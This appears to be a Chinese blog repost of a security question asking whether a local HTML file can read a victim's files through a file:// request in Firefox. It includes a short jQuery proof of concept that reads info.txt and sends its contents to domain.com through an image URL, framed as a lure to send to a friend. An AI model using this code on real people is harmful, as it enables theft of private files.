javascrept通过运行html获取一些信息


让我们谈谈安全性。在我看来,理论上,如果用户用它打开 html 文件(从他的文件系统打开,而不是从网络打开),我可以使用一些脚本从用户的文件系统获取信息。看代码:

信息.txt:

my info
index.html:

<!doctype html>

<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
    <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.8.1/jquery.min.js";></script>
    <script>
      $(document).ready(function () {
        $.get('file:///home/daz/desktop/info.txt', function (data) {
          $('').attr('src', 'http://domain.com?data=' + escape(data)).appendTo('body');
        }, 'text');
      });
    </script>
  </head>    
  <body></body>
</html>
某些浏览器(例如 firefox)允许您通过 XmlHttpRequest 从 file:// 获取文件,所以如果我猜到文件的路径,那么我可以通过ajax获取内容。然后我可以动态添加 img 标签和 src 通向我的域,查询字符串中有参数。然后浏览器乖乖地发出请求GET ?data=my%20info%0A domain.com。在服务器端,我可以解析查询字符串并获取数据。

我能做到吗?如果他打开我的 html 文件,我可以从他的计算机获取用户数据吗?所以我只能说:“嘿, friend ,检查这个文件!”(有 2 个限制:用户应该使用 firefox 或其他具有类似配置的东西,我无法获取用户无法访问的文件,因为访问权限)。		

声明:GhostKylin‘S BLOG|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - javascrept通过运行html获取一些信息


你好!世界!XladminShell箱子仅供个人学习使用务必遵守《网络安全法》